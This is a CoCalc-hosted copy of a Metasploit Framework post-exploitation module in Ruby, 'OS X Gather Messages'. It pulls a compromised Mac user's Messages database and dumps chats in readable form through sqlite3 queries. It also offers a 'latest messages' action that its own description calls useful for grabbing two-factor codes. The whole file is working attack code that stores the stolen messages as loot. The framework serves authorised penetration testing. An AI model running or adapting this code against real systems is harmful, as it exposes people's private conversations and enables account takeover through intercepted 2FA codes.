CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/enum_messages.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'OS X Gather Messages',
15
'Description' => %q{
16
This module will collect the Messages sqlite3 database files and chat logs
17
from the victim's machine. There are four actions you may choose: DBFILE,
18
READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
19
LATEST will retrieve the last X number of messages (useful with 2FA). Module
20
was tested with OS X 10.11 (El Capitan).
21
},
22
'License' => MSF_LICENSE,
23
'Author' => ['Geckom <geckom[at]redteamr.com>'],
24
'Platform' => ['osx'],
25
'SessionTypes' => ['meterpreter', 'shell'],
26
'Actions' => [
27
['DBFILE', { 'Description' => 'Collect Messages DB file' }],
28
['READABLE', { 'Description' => 'Collect Messages DB and download in a readable format' }],
29
['LATEST', { 'Description' => 'Collect the latest message' }],
30
['ALL', { 'Description' => 'Collect all Messages data' }]
31
],
32
'DefaultAction' => 'ALL'
33
)
34
)
35
36
register_options(
37
[
38
OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
39
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])
40
]
41
)
42
end
43
44
def run
45
user = datastore['USER'] || cmd_exec('/usr/bin/whoami')
46
47
# Check file exists
48
messages_path = "/Users/#{user}/Library/Messages/chat.db"
49
if file_exist?(messages_path)
50
print_good("#{peer} - Messages DB found: #{messages_path}")
51
else
52
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
53
end
54
55
# Check messages. And then set the default profile path
56
unless messages_path
57
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
58
end
59
60
print_good("#{peer} - Found Messages file: #{messages_path}")
61
62
files = []
63
64
# Download file
65
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
66
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
67
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
68
69
save(files)
70
end
71
72
#
73
# Collect messages db file.
74
#
75
def get_db(messages_path)
76
print_status("#{peer} - Looting #{messages_path} database")
77
message_data = read_file(messages_path)
78
{ filename: 'messages.db', mime: 'bin', data: message_data }
79
end
80
81
#
82
# Generate a readable version of the messages DB
83
#
84
def readable(messages_path)
85
print_status("#{peer} - Generating readable format")
86
sql = [
87
'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',
88
'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',
89
'usr.id || ": " || m.text, a.filename',
90
'FROM chat as c',
91
'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',
92
'INNER JOIN message AS m ON m.ROWID = cm.message_id',
93
'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',
94
'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',
95
'INNER JOIN handle usr ON m.handle_id = usr.ROWID',
96
'ORDER BY m.date;'
97
]
98
sql = sql.join(' ')
99
readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
100
{ filename: 'messages.txt', mime: 'text/plain', data: readable_data }
101
end
102
103
#
104
# Generate a latest messages in readable format from the messages DB
105
#
106
def latest(messages_path)
107
print_status("#{peer} - Retrieving latest messages")
108
sql = [
109
'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',
110
'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',
111
'usr.id || ": " || m.text, a.filename',
112
'FROM chat as c',
113
'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',
114
'INNER JOIN message AS m ON m.ROWID = cm.message_id',
115
'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',
116
'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',
117
'INNER JOIN handle usr ON m.handle_id = usr.ROWID',
118
"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"
119
]
120
sql = sql.join(' ')
121
latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
122
print_good("#{peer} - Latest messages: \n#{latest_data}")
123
{ filename: 'latest.txt', mime: 'text/plain', data: latest_data }
124
end
125
126
#
127
# Do a store_root on all the data collected.
128
#
129
def save(data)
130
data.each do |e|
131
e[:filename] = e[:filename].gsub(/\\ /, '_')
132
p = store_loot(
133
e[:filename],
134
e[:mime],
135
session,
136
e[:data],
137
e[:filename]
138
)
139
140
print_good("#{peer} - #{e[:filename]} stored as: #{p}")
141
end
142
end
143
end
144
145